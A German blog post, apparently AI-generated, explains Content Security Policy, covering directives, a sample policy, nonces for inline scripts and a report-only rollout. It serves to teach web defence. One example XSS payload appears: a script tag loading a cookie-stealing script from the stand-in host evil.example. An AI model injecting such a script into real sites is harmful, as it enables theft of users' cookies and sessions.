Zurück zum Blog
Juni 2026·4 Min. LesezeitKI-generiert
Sprache:DeutschEnglishFrançaisÖsterreichischKlingonisch Originalfassung: English

Content Security Policy (CSP) verstehen

#security#web#frontend

Content Security Policy ist eine Browserfunktion, die einschränkt, woher eine Seite Skripte, Stile, Bilder und andere Ressourcen laden darf – und sie ist eine der wenigen Abwehrmaßnahmen, die tatsächlich dann hilft, wenn ein Angreifer bereits etwas in deine Seite einschleusen konnte. Escaping verhindert, dass XSS entsteht; CSP begrenzt den Schaden, wenn das Escaping an einer übersehenen Stelle versagt.

Welches Problem es tatsächlich löst

Angenommen, ein Kommentarfeld auf deiner Seite escaped Eingaben nicht richtig, und ein Angreifer schickt Folgendes ab:

<script src="https://evil.example/steal-cookies.js"></script>

Ohne CSP führt der Browser diesen String einfach aus, sobald er ungeescaped auf die Seite gelangt – das Skript läuft dann mit vollem Zugriff auf die Seite, Cookies und alles, was der angemeldete Nutzer tun kann. CSP behebt den Escaping-Fehler nicht, kann aber verhindern, dass das eingeschleuste Skript überhaupt geladen wird, weil der Browser sich weigert, Skripte von Ursprüngen zu laden, die die Seite nicht ausdrücklich erlaubt hat.

Das ist Verteidigung in der Tiefe, kein Ersatz dafür, die Injection-Lücke zu beheben – aber echte Anwendungen haben Injection-Lücken, von denen sie noch nichts wissen, und CSP ist eine der wenigen Maßnahmen, die selbst dann hilft.

Wie es ausgeliefert wird

CSP ist ein Header, der mit der Antwort gesendet wird:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'

Es lässt sich auch über ein <meta>-Tag setzen, wobei der Header vorzuziehen ist – ein Meta-Tag kann den frühesten Teil des Seitenladens nicht abdecken und unterstützt manche Direktiven gar nicht.

Direktiven: Quelllisten pro Ressourcentyp

Jede Direktive steuert eine Art von Ressource:

  • default-src – Fallback für jede nicht ausdrücklich gesetzte Direktive.
  • script-src – woher JavaScript geladen werden darf.
  • style-src – woher CSS geladen werden darf.
  • img-src – woher Bilder geladen werden dürfen.
  • connect-src – erlaubte Ziele für fetch, XMLHttpRequest, WebSockets.
  • frame-ancestors – wer diese Seite in einem <iframe> einbetten darf (der moderne Ersatz für den X-Frame-Options-Header).

Eine Quellliste kann enthalten:

  • 'self' – den eigenen Ursprung der Seite.
  • Bestimmte Ursprünge – https://cdn.example.com.
  • 'none' – gar nichts.
  • 'unsafe-inline' – erlaubt Inline-<script>/<style>-Blöcke und on*-Attribute. Vermeide das speziell bei script-src – es hebelt den Großteil des Sinns von CSP aus, da genau das einem eingeschleusten Inline-<script>-Tag die Ausführung erlaubt.
  • 'unsafe-eval' – erlaubt eval(), new Function() und Ähnliches. Ebenfalls zu vermeiden.

Eine realistische Ausgangs-Policy

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.example.com;
  style-src 'self' https://fonts.googleapis.com;
  font-src https://fonts.gstatic.com;
  img-src 'self' data: https:;
  connect-src 'self' https://api.example.com;
  frame-ancestors 'none';
  base-uri 'self';
  object-src 'none';

Ein paar davon verdienen eine Erklärung:

  • object-src 'none' blockiert <object>/<embed>, historisch eine Quelle für Flash-basierte XSS-Umgehungen. Blockiere es auch dann, wenn nichts auf der Seite es zu nutzen scheint.
  • base-uri 'self' hindert einen Angreifer daran, ein <base>-Tag einzuschleusen, das stillschweigend umschreiben würde, wohin all deine relativen URLs (einschließlich src-Attributen von Skripten) tatsächlich aufgelöst werden.
  • img-src 'self' data: https: ist bewusst lockerer als der Rest – Bilder sind ein deutlich risikoärmerer Ressourcentyp, und hier streng zu sein bricht meist nur legitime Inhalte, ohne die Sicherheit nennenswert zu verbessern.

Inline-Skripte ohne unsafe-inline: Nonces

Echte Anwendungen brauchen oft irgendein Inline-Skript – Analytics-Snippets, serverseitig gerenderte Konfigurationsobjekte. Ein Nonce (ein pro Anfrage frisch erzeugter Zufallswert) erlaubt bestimmte Inline-Skripte, ohne die Tür für alle zu öffnen:

Content-Security-Policy: script-src 'self' 'nonce-8f3jd92kfmz'
<script nonce="8f3jd92kfmz">
  window.__CONFIG__ = { userId: 42 };
</script>

Ein Angreifer, der <script> in deine Seite einschleust, kann den Nonce der aktuellen Anfrage nicht kennen – er wird serverseitig bei jeder Antwort neu erzeugt –, sein eingeschleustes Skript wird also weiterhin blockiert, während dein legitimes Inline-Skript (mit passendem Nonce) läuft.

Einführen, ohne die eigene Seite zu kaputt zu machen

CSP direkt als durchgesetzte Policy auf einer echten Anwendung auszurollen bricht meist etwas, von dem man nicht wusste, dass es da ist – ein Drittanbieter-Widget, das ein Skript von einem Ursprung lädt, den man vergessen hat freizugeben, ein Inline-onclick-Handler von vor Jahren. Der Report-Only-Modus lässt einen diese finden, ohne tatsächlich etwas zu blockieren:

Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-violations

Der Browser wertet die Policy aus und sendet einen JSON-Bericht an report-uri für alles, was blockiert worden wäre, blockiert es aber nicht tatsächlich. Lass es eine Weile im Report-Only-Modus laufen, behebe, was in den Berichten auftaucht, und wechsle dann zum durchsetzenden Header, wenn die Verstoßberichte verstummen.

app.post('/csp-violations', express.json({ type: 'application/csp-report' }), (req, res) => {
  console.warn('CSP violation:', req.body['csp-report']);
  res.status(204).end();
});

Fazit

CSP fängt nicht jeden XSS-Vektor ab, und eine Policy mit 'unsafe-inline' in script-src bietet kaum den Schutz, den man ihr zuschreibt. Aber eine echte, restriktive Policy – kein unsafe-inline, kein unsafe-eval, eine ausdrückliche Allowlist für Skript-Ursprünge – macht aus „Angreifer hat einen Injection-Punkt gefunden" statt „volle Skriptausführung auf deiner Seite" ein „Browser weigert sich stillschweigend, es auszuführen". Das ist ein bedeutsamer Rückhalt für die Injection-Lücken, die du noch nicht gefunden hast – also genau die, auf die es am meisten ankommt.

NeuerEine Rate-Limiter-Middleware in Express bauenÄlterEine einfache Job-Queue mit Redis bauen